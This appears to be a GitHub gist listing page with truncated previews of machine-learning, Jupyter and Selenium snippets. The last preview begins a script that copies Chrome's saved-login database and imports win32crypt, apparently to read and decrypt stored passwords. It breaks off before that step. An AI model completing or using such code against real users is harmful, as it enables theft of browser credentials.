Skip to content

Instantly share code, notes, and snippets.

import numpy as np
#pure python implementation of convolutions of 2d arrays
def convolve2D(a1,a2,s):
'''
Calculating convolution for 2d array
Asumming all inputs a1,a2 nd-arrays of square shape (n*n)
Return:
convolution of inputs, nd-array
Input:
import tensorflow as tf
#Detect TPUs, GPUs
# Detect hardware, return appropriate distribution strategy
try:
# TPU detection. No parameters necessary if TPU_NAME environment variable is
# set: this is always the case on Kaggle.
tpu = tf.distribute.cluster_resolver.TPUClusterResolver()
print('Running on TPU ', tpu.master())
except ValueError:
tpu = None
import tensorflow as tf
train_record = 'tf-records/coco_train.record-00000-of-00001'
for i, record in enumerate(tf.python_io.tf_record_iterator(train_record)):
#print("######################### Record", i, "#########################")
example = tf.train.Example()
example.ParseFromString(record)
feature = example.features.feature
imgHeight = feature['image/height'].int64_list.value[0]
imgWidth = feature['image/width'].int64_list.value[0]
imgFileName = feature['image/filename'].bytes_list .value[0].decode('utf-8')
import tensorflow as tf
train_record = 'tf-records/coco_train.record-00000-of-00001'
def read_and_decode(filename_queue):
reader = tf.TFRecordReader()
_, serialized_example = reader.read(filename_queue)
features = tf.parse_single_example(
serialized_example,
# Defaults are not specified since both keys are required.
features={
@MITsVision
MITsVision / PASCAL_VOC.xml
Created February 3, 2020 13:15
PASCAL VOC format example xml file
<annotation>
<folder>C:\Users\xxx</folder>
<filename>1549535517972.png</filename>
<source>
<database>AutoANN</database>
</source>
<size>
<width>800</width>
<height>450</height>
<depth>3</depth>
@MITsVision
MITsVision / Jupyter notebook color print
Created November 25, 2019 03:31
easy way to print different colors in jupyter notebook cells
from IPython.display import HTML as html_print
def cstr(s, color='black'):
return "<text style=color:{}>{}</text>".format(color, s)
left, word, right = 'left print' , 'center print' , 'right print'
html_print(cstr(' '.join([left, cstr(word, color='green'), right]), color='black') )
##### add at the first cell of the jupyter notebook
##### call using hide_toggle() functin
from IPython.display import HTML
import random
def hide_toggle(for_next=False):
this_cell = """$('div.cell.code_cell.rendered.selected')"""
next_cell = this_cell + '.next()'
toggle_text = 'Toggle show/hide' # text shown on toggle link
@MITsVision
MITsVision / Selenium.Python.InjectJS.py
Created May 7, 2019 08:30 — forked from anhldbk/Selenium.Python.InjectJS.py
Inject jQuery into Selenium Driver
from selenium import webdriver
driver = webdriver.Firefox()
driver.get('https://www.facebook.com/')
with open('jquery-1.9.1.min.js', 'r') as jquery_js:
jquery = jquery_js.read() #read the jquery from a file
driver.execute_script(jquery) #active the jquery lib
driver.execute_script("$('#email').text('anhld')")
import os
import sqlite3
import win32crypt
import sys
import shutil
file_path= "C:/Users/User_name/AppData/Local/Google/Chrome/User Data/Profile 3/Login Data"
shutil.copy(file_path, "path_to_current_directory")
# Connect to the Database